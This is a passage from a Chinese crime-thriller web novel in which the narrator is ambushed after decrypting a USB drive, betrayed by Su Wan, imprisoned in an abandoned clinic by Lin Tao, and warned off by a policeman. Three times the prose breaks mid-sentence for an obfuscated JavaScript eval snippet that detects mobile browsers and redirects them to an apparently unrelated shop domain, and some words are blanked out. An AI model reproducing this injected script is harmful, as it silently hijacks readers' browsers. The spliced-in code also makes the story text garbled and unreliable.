这个U盘,它不是武器,它是催命符!它不仅说明了顾远的死因,也预示着我拿到它之后,可能面临的同样命运。 我感觉自己像捧着一个已经点燃了引信的炸药包,站在原地,动弹不得。四周是无边的黑暗,而唯一的火光,却来自我手中这即将把我炸得粉身碎骨的东西。 网吧里嘈杂的声音仿佛离我远去,只剩下硬盘运行的微弱嗡鸣和我自己粗重而绝望的喘息。 我盯着屏幕上那个代表着【证据】的文件夹图标,它像一个黑色的墓碑,既埋葬了顾远,也可能即将……埋葬我。 啪!一声极其轻微的、仿佛是电流断开的声响。 我面前的电脑屏幕,毫无征兆地,瞬间陷入了一片死寂的漆黑!不是屏保,不是休眠,是彻底的、毫无生气的断电! 我愣住了,大脑一片空白,几乎无法理解眼前发生的事情。 紧接着,更令人毛骨悚然的事情发生了。以我所在的这个角落为中心,如同多米诺骨牌效应一般,整个数码城内,那些亮着的摊位灯、显示器的光芒、甚至是天花板上的照明灯管,一盏接一盏,一片接一片地,迅速熄灭! “哎?怎么回事?” “跳闸了?” “老板!看看电闸!” 周围传来了摊主和顾客们困惑、嘈杂的议论声。 短短几秒钟之内,刚才还灯火通明、嘈杂喧闹的数码城,陷入了一片近乎绝对的黑暗和诡异的寂静之中!只有少数几台自带蓄电池的应急灯,在远处投下微弱而惨淡的光晕,勉强勾勒出周围物体的轮廓,反而让这黑暗显得更加深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016455|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邃、更加充满未知的恐惧。 我的心跳,在最初的停滞之后,开始以恐怖的速度疯狂跳动,几乎要挣脱胸腔的束缚!一股冰冷的寒意,从尾椎骨沿着脊柱瞬间窜遍全身,让我如坠冰窟! 这不是意外!这绝不可能是什么意外的跳闸!这是……冲着我来的!我猛地从椅子上站起身,想要逃离这个地方!然而,就在我转身的刹那—— 几道强烈刺眼的白光,如同探照灯一般,从不同的方向猛地照射过来,精准地聚焦在我身上!光线如此强烈,瞬间剥夺了我的视觉,让我眼前白茫茫一片,只能下意识地抬起手臂遮挡。 黑暗中,响起了脚步声。 沉重,缓慢,带着一种猫捉老鼠般的从容和压迫感,从四面八方向我围拢过来。 我的视觉在强光刺激下逐渐恢复了一些,透过指缝,我惊恐地看到,在那些应急灯惨淡的光晕勾勒下,几个高大、魁梧、穿着黑色紧身T恤、露出布满青黑色纹身手臂的身影,如同从地狱里爬出的恶鬼,已经形成了一个严密的包围圈,将我牢牢困在了这个角落。他们面无表情,眼神冰冷,带着一种□□特有的、毫无感情的凶悍。 然后,包围圈分开了一个缺口。一个穿着剪裁合体深色西装、头发一丝不乱的身影,不紧不慢地踱步走了进来。是林涛! 他脸上挂着那种我曾在“夜泊”见过的、混合着轻蔑、嘲弄和一切尽在掌握之中的残忍笑容。他甚至好整以暇地,轻轻鼓着掌。 “啪……啪……啪……”清脆的掌声在这死寂的黑暗空间里回荡,每一下,都像一记无形的耳光,狠狠扇在我的脸上,也扇在我那刚刚因为破解密码而升起的、可笑的希望上。 “精彩,真是精彩。”林涛停下鼓掌,走到我面前,距离近得我能闻到他身上那股昂贵的古龙水味道,与他身后那些打手身上的汗味和烟味形成了尖锐的对比。他的目光,像两把淬了冰的匕首,在我因为恐惧而苍白的脸上划过,最后落在了那台屏幕漆黑的电脑,以及依旧插在接口上的那个黑色U盘上。 “沈默,沈大师。”他微微歪着头,语气带着一种令人齿冷的“赞赏”,“不得不说,你比我们想象的要……执着那么一点点。也更有趣一点点。” 他伸出手,不是对我,而是对着电脑。他身后一个纹身大汉立刻上前,动作熟练地拔下了那个U盘,用一块麂皮布仔细擦拭了一下,然后恭敬地递到林涛手中。 林涛捏着那个U盘,放在眼前仔细端详着,仿佛在欣赏一件失而复得的艺术品。 “谢谢你,”他抬起眼,再次看向我,笑容更加扩大,那笑容里没有丝毫温度,只有赤裸裸的、居高临下的戏谑和侮辱,“谢谢你,不辞辛劳,帮我们找到了这个……‘遗失’了很久的小东西。真是省了我们不少麻烦。” 我的身体因为极致的愤怒和恐惧而剧烈颤抖起来,牙齿咬得咯咯作响。陷阱!从一开始,这就是一个精心布置的陷阱!从我在“夜泊”见到苏晚开始,不,甚至可能从更早,从我拿到顾远那部旧手机开始,我就已经一步步地,按照他们设计好的剧本,走进了这个死局! 他们早就知道U盘的存在!他们早就知道钥匙和储物柜!他们甚至可能……早就监控了那个储物柜!他们之所以没有提前取走,就是为了利用我,利用我这个“局外人”、这个顾远唯一可能信任的“烂人”朋友,来替他们找到并打开这个加密的文件!因为我可能知道他们不知道的密码! 而我,这个自以为是的蠢货,竟然真的乖乖照做了!就在这时,林涛身后,那黑暗的阴影里,又一个身影,缓缓地、如同幽灵般走了出来。 苏晚依旧穿着那身凸显身材的黑色长裙,外面披了一件昂贵的羊绒外套。她的脸上没有任何表情,没有愧疚,没有不安,甚至没有一丝波澜。她就那样静静地站在那里,站在林涛身边,站在我的对立面。那双曾经让我觉得深不见底、充满故事的眼睛,此刻像两口彻底冻僵的枯井,里面没有任何光彩,没有任何情绪,只有一片冰冷的、死寂的虚无。 她看着我,眼神里没有一丝温度。原来……原来顾远留在铁盒里的字条,那句被我一度怀疑又无法完全确定的警告——【别信任何人,尤其是她。】——是真的。 一语成谶。 她不仅仅是赵承德的情人,不仅仅是“夜泊”的头牌,她更是林涛的人,是那个冰冷男声所属势力的一部分!她从一开始,就在演戏!她对我说的每一句话,每一个眼神,每一次看似无奈的警告,都是在将我推向这个万劫不复的深渊! 而我,竟然还曾对她抱有一丝可笑的、基于她过往经历的怜悯和信任! 巨大的背叛感和被愚弄的愤怒,如同火山喷发般在我胸中炸开,烧灼着我的五脏六腑!我死死地瞪着苏晚,恨不得用目光将她撕碎! 苏晚似乎感受到了我目光中的恨意,她极其轻微地、几不可察地……移开了视线,将目光投向旁边无尽的黑暗。这个细微的动作,与其说是愧疚,不如说是一种彻底的、连掩饰都懒得掩饰的疏离和冷漠。 林涛将U盘随手揣进西装内袋,仿佛那只是一个无关紧要的小物件。他上前一步,几乎与我鼻尖相抵,我能闻到他呼吸间淡淡的酒气。 “好了,游戏时间结束,沈大师。”他收敛了笑容,声音变得低沉而危险,像毒蛇吐信,“你为我们演了一出不错的热身戏。现在……该聊聊,你怎么‘报答’我们给你提供的这场……‘冒险之旅’了。” 他挥了挥手。 那几个纹身大汉立刻如同饿狼般扑了上来,铁钳般的手掌死死扣住了我的双臂,一股巨大的力量将我狠狠按倒在冰冷、布满灰尘的地面上!脸颊撞击地面,接着身体各个部位传来火辣辣的疼痛,嘴里再次尝到了熟悉的血腥味。 黑暗,彻底吞噬了我。希望,如同那个瞬间熄灭的电脑屏幕一样,啪的一声,碎裂成无数冰冷的碎片。 19. 笼中之鸟 黑暗,并非永恒。但它所带来的未知与恐惧,比永恒更令人窒息。 在数码城那突如其来的、如同末日降临般的黑暗与死寂中,我被几双铁钳般的手粗暴地从地上拖起。反抗是徒劳的,任何挣扎都像投入深潭的石子,连一丝涟漪都无法激起。他们动作熟练而沉默,带着一种处理物品般的、令人胆寒的效率。 一块散发着机油和汗臭的、粗糙的厚布,猛地罩住了我的头。世界瞬间被剥夺了色彩与形状,只剩下令人窒息的黑暗,和布料纤维摩擦脸颊的刺痛感。我被强行推搡着,深一脚浅一脚地移动,无法辨别方向,只能凭借身体感受到的颠簸和转弯,模糊地知道自己被塞进了一辆车里。引擎发动,车辆行驶,窗外城市的喧嚣被有效地隔绝,车内只有压抑的呼吸声和我自己心脏疯狂擂动的巨响。 他们没有把我送去警察局。 这本身,就是最明确的信号——常规的规则、法律的面纱,在这里已经被彻底撕去。我落入了一个不受世俗律法约束的、真正的黑暗地带。 车子行驶了似乎很久,又似乎只是一瞬。在极致的恐惧中,时间失去了刻度。最终,车停了。我被粗暴地拉下车,冷冽的、带着郊区特有荒芜气息的空气,瞬间穿透了蒙头的厚布,钻入我的鼻腔。但随之而来的,是一种更强烈的、令人作呕的气味——消毒水。 浓烈到刺鼻的消毒水味道,像某种具有腐蚀性的液体,试图掩盖一切,却反而凸显了某种更深层的不洁。在这消毒水的基底之上,还混杂着一种……霉菌滋生的、阴湿陈腐的气息,以及一种若有若无的、类似于福尔马林或者某种陈旧药品的甜腻怪味。 这不是医院。正规医院不会有这种混合了刻意洁净与深层腐朽的、如此矛盾而诡异的气味。 我被推搡着前进,脚下是坚硬而略有弹性的地面,象是老旧的PVC地板。耳边传来空旷的回声,仿佛走在一条漫长而无人、废弃已久的走廊里。偶尔,能听到远处隐约的、金属门开关的碰撞声,更添几分死寂中的不祥。 终于,他们停了下来。钥匙插入锁孔转动的声音,然后是铁门被推开时,合页发出的、仿佛垂死之人呻吟般的、干涩刺耳的“吱嘎——”声。 我被猛地推了进去,踉跄几步,差点摔倒。头上的厚布被一把扯下。 突如其来的光线并不刺眼,反而是一种昏黄的、如同垂死烛火般的光芒,勉强驱散了眼前的黑暗,却让周遭的环境显得更加阴森可怖。 我发现自己身处一个房间。一个极其诡异的房间。 面积不小,约有二十平米。墙壁原本可能是白色的,但如今布满了大面积泛黄、晕开的水渍和斑驳脱落的墙皮,露出下面灰暗的底漆,像得了某种严重的皮肤病。天花板很高,角落里挂着厚厚的、沾满灰尘的蛛网。空气里那股消毒水混合霉菌和药味的怪异气息,在这里变得更加浓重,几乎凝固成了实体,沉甸甸地压在胸口。 房间里的陈设,更让人头皮发麻。 一张锈迹斑斑、漆面剥落的铁架床,固定在房间中央,上面铺着一条看不出原本颜色、散发着霉味的薄毯子。床边立着一个老旧的、金属支架已经歪斜的输液架,上面空荡荡的。靠墙的位置,放着一个玻璃药柜,玻璃模糊不清,里面似乎堆放着一些过期已久的药瓶和纱布,蒙着厚厚的灰尘。最令人不安的是,在房间另一个角落,竟然放着一张牙科治疗椅!那椅子也是锈迹斑斑,皮革坐垫开裂,露出里面发黄的海绵,各种机械臂扭曲地伸展着,像某种史前怪物的残骸。 这里……象是一间病房,却又充满了废弃和死亡的气息。象是一个……早已停业多年的、私立小医院的某个病房,被时光遗忘,如今又被重新启用,用于某种不可告人的目的。 窗户被从外面用厚厚的木板钉死了,缝隙间透不进一丝外面的天光。唯一的出口,是那扇刚刚在我身后关闭的、厚重的、带有观察窗的铁门。观察窗玻璃的另一面,也被什么东西从外面挡住了,只有模糊的光晕。 笼子。这是一个精心打造的、散发着死亡气息的笼子。而我就成了那只被捕获的、等待被处置的鸟儿。 恐慌像冰冷的潮水,瞬间淹没了我。我冲向那扇铁门,用力拍打着,嘶吼着:“放我出去!你们想干什么?!林涛!苏晚!混蛋!” 回应我的,只有手掌拍在冰冷铁皮上的沉闷回响,以及门外死一般的寂静。我的声音在这空旷诡异的房间里撞击、消散,显得如此微弱,如此可笑。 就在我几乎被绝望吞噬的时候,铁门上的观察窗挡板,突然被移开了。 一张脸,出现在玻璃后面。林涛脸上依旧挂着那种令人不寒而栗的、从容而残忍的微笑。他隔着玻璃,像欣赏动物园笼子里的稀有动物一样,打量着我因恐惧和愤怒而扭曲的脸。 观察窗下方,一个类似银行柜台传递槽的小窗口被从外面打开。 然后,铁门发出了“咔哒”的解锁声,缓缓向内打开。 林涛走了进来。他依旧穿着那身笔挺的深灰色西装,一丝不苟,与这肮脏破败的环境形成了极其尖锐、极其怪诞的对比。他手里,竟然拿着一个鲜红欲滴的苹果,和一把闪着寒光的、小巧精致的水果刀。 他身后,跟着那两个在数码城出现过的、如同铁塔般的纹身大汉。他们依旧沉默,依旧面无表情,但这次,我清晰地看到,他们的手上,都戴着薄薄的、白色的医用橡胶手套。而手套之下,指关节的位置,隐约凸显出某种坚硬的、不自然的凸起——里面,似乎包裹着金属块,或者……指虎? 我知道,这绝不是为了卫生。这是为了在施暴时,既能增加打击的力度和痛苦,又不会在□□上留下过于明显的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016456|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、属于特定武器的伤痕。 林涛仿佛没有看到我的惊恐和敌意,他自顾自地走到房间中央,拉过那张牙科治疗椅旁边一个满是灰尘的圆凳,用随身带着的手帕仔细擦了擦,然后优雅地坐了下来。他翘起二郎腿,目光落在手中的苹果和水果刀上。 “沈大师,别紧张。”他开口了,声音温和,甚至带着一丝笑意,仿佛在安抚一个闹脾气的小孩,“我们只是想请你过来,‘疗养’一下。你看你,最近东奔西跑,又是查案,又是照顾老人,多辛苦啊。脸色这么差,精神也绷得太紧了。” 他一边说着,一边开始用那把锋利的小刀,慢条斯理地削起苹果来。他的动作极其熟练、稳定,鲜红的果皮随着刀锋的游走,均匀而不断裂地垂落下来,越来越长,像一条扭曲的、红色的毒蛇。 “这地方虽然旧了点,但安静,没人打扰。”他抬起眼皮,看了我一眼,眼神里充满了戏谑,“最适合……静养,和思考了。” 苹果皮连成一长条,不断。我看着他那优雅从容的动作,听着他那仿佛关心体贴的话语,一股比面对直接暴力更加深沉的寒意,从脊椎骨缝里咝咝地往外冒。这种将极度暴力隐藏在文明、优雅表象下的行为,比单纯的殴打和威胁,更加令人恐惧,更加摧毁人的心智。 这不是疗养。这他妈是解剖前的准备! 他在用这种仪式化的、充满掌控感的动作,向我宣告:我的一切,包括我的身体,我的意志,我的生命,都如同他手中的这个苹果,可以被随意切割、剥离、玩弄于股掌之间!那两个戴着手套、手藏凶器的大汉,就是随时准备执行“手术”的“助手”! “疗养……”我听到自己的声音在颤抖,不是因为害怕,而是因为极致的愤怒和一种近乎崩溃的荒谬感,“你们……到底想怎么样?U盘你们已经拿走了!” 林涛轻轻吹了口气,将削下来的、完整的苹果皮吹落到肮脏的地面上。他拿起那个光溜溜的、露出白色果肉的苹果,递向我,脸上笑容不变。 “尝尝?新西兰空运来的,很甜。”他顿了顿,目光似乎透过我,看到了某个遥远的、血腥的场景,语气变得有些飘忽,“你知道吗?顾远死前……哦,就是‘被自杀’前那晚,我也给他削了一个。他当时咬了一口,说……太甜了,甜得发腻。” 他看着我瞬间煞白的脸,笑容更加深邃,更加残忍。 “你看,有时候,好东西,也不是人人都能消受的,对吧,沈大师?” 我僵在原地,浑身冰冷,仿佛血液都在这一刻冻结成了红色的冰碴。 顾远……他死前,也经历过类似的情景吗?也被这样用软刀子一点点凌迟过精神和意志吗? 这不是审讯。这是精神上的虐杀。而我,被拔光了羽毛,困在这散发着消毒水和死亡气息的笼子里,无处可逃。 20. 童话里的苹果都是有毒的 林涛的话语,轻飘飘的,却像一把沾满了顾远鲜血的、冰冷的凿子,狠狠凿进了我的耳膜,直抵大脑深处最脆弱的神经。“顾远死前……也吃过一个。他说,太甜了,甜得发腻。” 仿佛有一枚炸弹在我颅内引爆,短暂的嗡鸣过后,是死一般的寂静,以及随后汹涌而来的、足以将人溺毙的冰冷洪流。我僵在原地,瞳孔不受控制地收缩,视野里林涛那张带着残忍笑意的脸,和那个削得光洁、仿佛象征着某种死亡仪式的苹果,开始扭曲、旋转。 胃里一阵剧烈的、不受控制的翻搅,酸涩的液体猛地涌上喉咙,我强行咽了回去,灼烧感从食道一直蔓延到鼻腔,带来一阵辛辣的刺痛。冷汗瞬间浸透了我后背的衣物,黏腻地贴在皮肤上,与这房间里阴冷的空气一起,掠夺着我仅存的体温。 顾远……他当时,是以一种怎样的心情,咬下那个苹果的?是在怎样的恐惧和绝望中,说出“太甜了,甜得发腻”这句话?那是不是他对自己即将终结的命运,一种最后的、充满了无力嘲讽的隐喻? 而林涛,这个刽子手,此刻正用同样轻描淡写的语气,将朋友临死前的细节,当作一件有趣的轶事,一件可以用来折磨我精神的、称手的工具,随意地把玩、展示。 他不是在审讯。他是在进行一场精神上的虐杀。用我朋友的死亡,用那些我无法目睹、却足以想象出血腥画面的细节,一刀一刀,缓慢而精准地,凌迟着我的意志,我的记忆,我与他之间最后那点温暖的、属于过去的情谊。 他要把顾远在我心中残存的形象,也一并玷污,碾碎,变成和他手中这个苹果一样,只剩下冰冷和死亡的象征。 林涛似乎很满意我此刻的反应。他脸上的笑容加深了些许,那是一种看到了猎物在陷阱中痛苦挣扎的、纯粹的愉悦。他依旧举着那个苹果,姿态悠闲,仿佛我们只是在某个下午茶沙龙里进行一场友好的交谈。 “所以,沈大师,”他话锋一转,语气依旧温和,却带着不容置疑的压迫感,“我们就不绕圈子了。U盘,我们拿到了。但是……” 他刻意停顿了一下,目光像探照灯一样,在我因为震惊和愤怒而微微颤抖的脸上扫过。 “……像你这种‘自作聪明’的人,习惯了留后手,习惯了不相信任何人。你一定……还藏着副本,对吧?还有那个密码,你解得开,说明你知道。把副本的位置,和密码,告诉我。” 他的语气很笃定,仿佛早已看透了我的一切。他不是在询问,而是在陈述一个他认定的事实。 心脏在胸腔里疯狂地、杂乱无章地跳动,像一只被扔进沸水里的青蛙。他猜对了!我的确……我的确在读取U盘内容之前,用那个数码城摊位上找到的、另一个匿名的小U盘,匆忙地拷贝了一份!那是出于一种本能的不安全感,一种在黑暗中摸索太久养成的、近乎偏执的谨慎。我将那个备份U盘,塞进了破捷达驾驶座下方一个极其隐蔽的、原本用于藏匿私房钱的磁吸小盒里。 而密码……“lanrenzhiji”……这个只属于我和顾远之间的、可笑的、带着自嘲意味的暗号。 这两样东西,是我现在唯一的、渺茫的、或许能用来保命或者……复仇的筹码。我绝不能交出去! “没有!”我几乎是嘶吼着否认,声音因为激动和恐惧而变调,在这空旷的房间里显得异常尖锐,“没有副本!密码……密码我是瞎猜的!碰巧蒙对了而已!” 我的否认显得如此苍白,如此无力。连我自己都能听出那声音里的颤抖和心虚。 林涛脸上的笑容没有丝毫变化,甚至连嘴角的弧度都没有动摇一分。他没有像电影里那些反派一样勃然大怒,也没有让身后那两个如同雕塑般的打手立刻上前对我施以酷刑。 他反而……轻轻笑了起来。那笑声低沉,带着一种仿佛听到什么极其有趣的事情的愉悦。 “呵呵……”他摇了摇头,象是长辈在看待一个撒谎的、不听话的孩子,“沈默啊沈默,你还真是不见棺材不掉泪。” 他没有生气。这种不生气,比任何愤怒的咆哮都更令人恐惧。它意味着,他拥有绝对的掌控力,他笃信我最终会屈服,他享受的是这个过程——看着我徒劳地挣扎,看着我那点可怜的坚持在他的力量面前一点点瓦解、崩溃的过程。 他把那个一直举着的、削好的苹果,又往前递了递,几乎要碰到我的嘴唇。那冰凉的、带着清甜香气的果肉,此刻闻起来却像腐尸的味道。 “尝尝吧,沈大师。”他的声音带着一种恶魔般的诱惑,眼神却冰冷如刀,“别辜负了赵董的一片心意,也别……步了顾远的后尘。甜不甜,腻不腻,总得自己尝过才知道,对吧?” 我死死地咬着牙关,牙龈因为过度用力而传来酸胀的痛感。胃里再次一阵翻腾,我猛地偏开头,避开了那个几乎要塞进我嘴里的苹果。视觉的余光瞥见那两个戴着手套的大汉,他们的手指微微动了动,包裹在橡胶下的金属凸起,在昏黄的光线下反射出冰冷的光泽。 他们在等待。等待林涛的一个眼神,一个手势。然后,那戴着“指虎”的拳头,就会如同冰冷的铁锤,砸碎我的牙齿,将这个象征着屈服和死亡的苹果,连同我最后的尊严,一起塞进我的喉咙。 精神上的凌迟之后,□□的折磨,似乎随时都会降临。这个散发着消毒水和霉菌味道的、如同废弃停尸房般的房间,就是我的刑场。林涛就是那个手握生杀大权、并以此为乐的、优雅的刽子手。 他不要U盘,他要的是我彻底的屈服,是我亲手奉上所有的底牌,是我在他面前,变得和顾远一样……“甜得发腻”。 时间在这间散发着消毒水与死亡气息的牢笼里,失去了流动的意义。只有头顶那盏昏黄如豆的灯泡,以其恒定的、令人发疯的频率,证明着时间并未完全凝固。林涛离开后,那两名戴着医用手套、指关节藏着凶器的纹身大汉,像两尊被赋予了恶意的石像,一左一右守在紧闭的铁门内侧。他们没有说话,没有多余的动作,甚至连呼吸声都轻得几乎听不见。但他们的存在本身,就是一种无言的、持续施加的庞大压力。他们的目光,如同冰冷的探针,时刻刺探着我神经的脆弱程度。 我蜷缩在房间角落,背靠着冰冷、布满霉斑的墙壁,试图汲取一点可怜的支撑。地板的寒气透过薄薄的裤料,直侵入骨髓。林涛最后那句关于顾远和苹果的话,像恶毒的咒语,在我脑海里反复回响,与老金在病床上空洞的眼神、苏晚那毫无温度的凝视交织在一起,形成一幅绝望的、充满了背叛与死亡的拼图。 饥饿和干渴像两条缓慢蠕行的寄生虫,开始啃噬我的胃壁和喉咙。嘴唇干裂,泛起白皮,每一次吞咽都带着砂纸摩擦般的痛感。我不知道自己被关了多久,一天?两天?窗外被木板钉死,只有门上方那个小小的、偶尔被挡住的观察窗,透露出外界昼夜的更替。 就在我感觉意识开始有些模糊,身体的虚弱感如同潮水般阵阵袭来时,铁门外传来了一阵脚步声,以及低沉的、简短的交谈声。 “……时间不多……”一个略显熟悉的、带着疲惫的声音。 “……马队,您尽快……”这是林涛手下其中一个的声音,语气里带着一丝不易察觉的、对来人的忌惮或者说……某种程序化的尊重? 铁门上的观察窗挡板被移开,一张脸出现在玻璃后面。 不是林涛。是马东!他穿着一件普通的、甚至有些旧的夹克,脸上带着浓重的、无法掩饰的疲惫,眼袋深重,胡茬似乎也有几天没仔细打理了。他手里,竟然提着一个普通的、印着某小吃店logo的透明塑料食盒,里面隐约可见圆滚滚的、冒着微弱热气的馄饨。 他怎么会在这里?我的心猛地一紧,随即涌起的不是获救的希望,而是一种更加复杂、更加不祥的预感。他和林涛他们……难道是一伙的?还是…… 马东隔着玻璃,与我对视了一眼。他的眼神极其复杂,有我读不懂的沉重、无奈,还有一丝……类似于愧疚的东西?他朝着门口那两个大汉示意了一下,低声说了句什么。 其中一个大汉似乎有些犹豫,看了看马东,又似乎通过某种方式得到了外面的指示,最终,两人对视一眼,沉默地打开了铁门,然后竟然……退了出去,并从外面将门虚掩上,但没有锁死。 房间里,只剩下我和马东。 他走了进来,随手将那个食盒放在旁边落满灰尘的药柜上。铁门在他身后隔绝了外面的大部分光线和声响,只有我们两人,在这诡异的空间里面面相觑。 空气中弥漫的消毒水味,似乎被食盒里飘出的、属于人间烟火的、微弱的食物香气冲淡了一丝,但这反而让周遭的环境显得更加怪诞和不真实。 “吃点东西吧。”马东开口了,声音沙哑,带着熬夜后的干涩,“你差不多两天没进水米了。” 他没有靠近我,只是靠在药柜旁,从口袋里摸出烟盒,抽出一支点燃。辛辣的烟草味迅速弥漫开来,与消毒水、食物和霉菌的气味混合,形成一种令人作呕的鸡尾酒。 我看着他那张写满倦怠的脸,看着他手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016457|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里那盒普通的、甚至有些廉价的馄饨,心脏在胸腔里沉重地、一下下地跳动着。愤怒、疑惑、还有一丝可悲的、如同溺水者看到浮木般的微弱期望,在我心中激烈交战。 “为什么?”我终于找回了自己的声音,嘶哑得象是破旧的风箱,“你为什么会在这里?你和他们……是一伙的?” 马东深吸了一口烟,烟雾模糊了他脸上的表情。他没有立刻回答,而是走到我面前,将那个食盒拿过来,放在我脚边的地上,然后自己也毫不在意地坐在了肮脏的地板上,与我平视。 “吃吧。”他又重复了一遍,目光落在那盒馄饨上,仿佛那里面有什么值得研究的东西,“还热着。” 我没有动。只是死死地盯着他。他叹了口气,那叹息声沉重得仿佛承载了太多无法言说的东西。他抬起眼,看着我,眼神里那种疲惫感几乎要满溢出来。 “沈默,”他叫了我的名字,语气里没有了往日那种公事公办的油滑,只剩下一种近乎赤裸的无奈,“这水太深了。深到你无法想象。你跳进来,别说挣扎,连个泡……都冒不起来。” 他的话,像冰冷的铁锤,砸碎了我心中那点可怜的期望。 “我捞你这一次,”他指了指那盒馄饨,又指了指这间牢房,“不是为了你。是为了我那点……还没死干净的良心。” 良心?这个词从他嘴里说出来,在这个地方,在此刻的情景下,显得如此讽刺,如此苍白无力! “良心?”我几乎要冷笑出来,但连冷笑的力气都没有,“你的良心,就是看着他们为非作歹,然后送来一盒馄饨表示安慰?你的良心,就是在我报警求助的时候,告诉我‘管不了’?!” 我的声音因为激动而拔高,在空旷的房间里激起回响。 马东的脸上掠过一丝痛苦的神色,但很快又恢复了那种麻木的疲惫。他没有反驳,只是又狠狠吸了一口烟,然后将烟蒂在地上摁灭,动作缓慢而用力。 “顾远的事,”他避开我的质问,转而提到了那个我最敏感的名字,声音压得更低,“上面已经定了性。‘工作压力过大,意外高空坠落’。所有的证据链……都很‘完整’。” 他抬起头,目光锐利地看向我,带着一种近乎警告的意味:“任何试图翻案的人,任何想要重新撬动这块石头的人,都会被当成……‘不稳定因素’。” 不稳定因素。 多么轻描淡写,却又多么可怕的字!它意味着,在这个庞大的、冰冷的系统面前,个体的生死、真相、冤屈,都可以被轻易地归类、定义,然后……清除。顾远是“自杀”,我是“不稳定因素”,老金是“自愿捐肾”……一切都有一套看似合理、实则吃人的逻辑。 “所以呢?”我感到一阵彻骨的寒冷,声音颤抖着,“所以我就该像顾远一样,认命?或者像老金一样,被他们活生生摘掉器官,然后拿三千块打发掉?!” 提到老金,马东的眼神闪烁了一下,似乎有些动容,但最终还是归于沉寂。 “活着,比什么都重要。”他喃喃地说,象是在对我说,又象是在对自己说,“有些真相,知道了,反而会死得更快。” 他站起身,拍了拍裤子上的灰尘,不再看我。 “把这馄饨吃了。保住命。”他走到门口,手放在门把上,停顿了一下,背对着我,最后说了一句,“别再查了。离开这里,离开这座城市,忘掉一切,或许……还能有条活路。” 说完,他拉开门,走了出去。铁门再次在我面前关上,发出沉闷的撞击声。门外传来他离开的脚步声,以及那两个大汉重新站回岗位的、细微的动静。 房间里,又只剩下我一个人。还有地上那盒,已经不再冒热气的馄饨。 马东的到来,非但没有带来任何希望,反而像最后一把泥土,彻底埋葬了我心中那点微弱的、关于正义和公理的幻想。 他代表了那个体制内,尚且残存一丝良知的声音。而这声音告诉我:放弃吧,你对抗不了。连他们,都只能选择沉默,或者,成为这黑暗的一部分。 那盒冰冷的馄饨,像极了马东那点“还没死干净的良心”——廉价,无力,并且,正在迅速变冷,变硬。 我蜷缩在角落,没有去碰那盒食物。 我知道,从马东说出“不稳定因素”那几个字开始,我从一个追寻真相的调查者,已经彻底变成了……需要被“处理”掉的麻烦。 这个笼子,不仅困住了我的身体。也彻底掐灭了我心中,最后一点名为“希望”的火星。 21. 不稳定因素 马东的背影消失在重新闭合的铁门之后,如同最后一缕微光被浓稠的黑暗吞噬。门轴转动发出的沉闷回响,不仅隔绝了内外两个世界,更象是一记重锤,砸碎了我所有不切实际的幻想。他带来的不是救赎,而是一份冰冷、残酷的判决书——“不稳定因素”。这四个字像烙铁,烫在我的灵魂上,宣告着我作为独立个体的死亡。 房间里,那两名纹身大汉如同无声的幽灵,再次占据了门内的位置。他们的存在感比之前更加沉重,仿佛马东的到来非但没有缓解紧张,反而象是某种信号,确认了我作为“待处理品”的最终身份。他们的目光偶尔扫过我,不再带有审视的意味,而是一种近乎……验收般的冷漠。仿佛在评估一件物品是否还具备“交易”的价值。 我依旧蜷缩在角落,冰冷的地面汲取着我体内本就所剩无几的热量。饥饿和干渴如同附骨之疽,折磨着我的□□,但更深的痛苦来自于精神层面那彻底的崩塌。马东的话语,像无数把冰冷的锉刀,反复打磨着我仅存的意志。 “这水太深了……” “连个泡都冒不起来……” “上面已经定了性……” “不稳定因素……” 每一个词,都是一根冰冷的钉子,将我牢牢钉在这绝望的十字架上。我像一头被困在陷阱里、被猎人宣判了命运的野兽,连嘶吼和挣扎都失去了意义。 目光不由自主地落在地上的那个食盒上。透明的塑料盖内,十几个白胖的馄饨挤在一起,因为冷却,汤面上凝结了一层薄薄的、泛着油花的白色油脂。那点微弱的、曾经属于人间烟火的热气早已散尽,只剩下冰冷和……一种令人作呕的油腻感。 马东的“良心”。这碗馄饨的代价是什么?是让我认清现实,放弃挣扎,接受他们为我安排的命运?是让我用沉默和屈服,来换取这片刻的喘息,或者说,换取一种更加屈辱的“生存”? 我死死地盯着那碗馄饨,胃里空得发疼,喉咙干得冒烟,但一种更强大的、混合着自尊和绝望的抗拒感,让我无法伸出手去。吃下它,仿佛就意味着我接受了他们的“施舍”,默认了他们的规则,认同了自己作为“不稳定因素”需要被“安抚”或者“清除”的定位。 时间在死寂中缓慢爬行。每一秒都象是在用砂纸打磨我的神经。 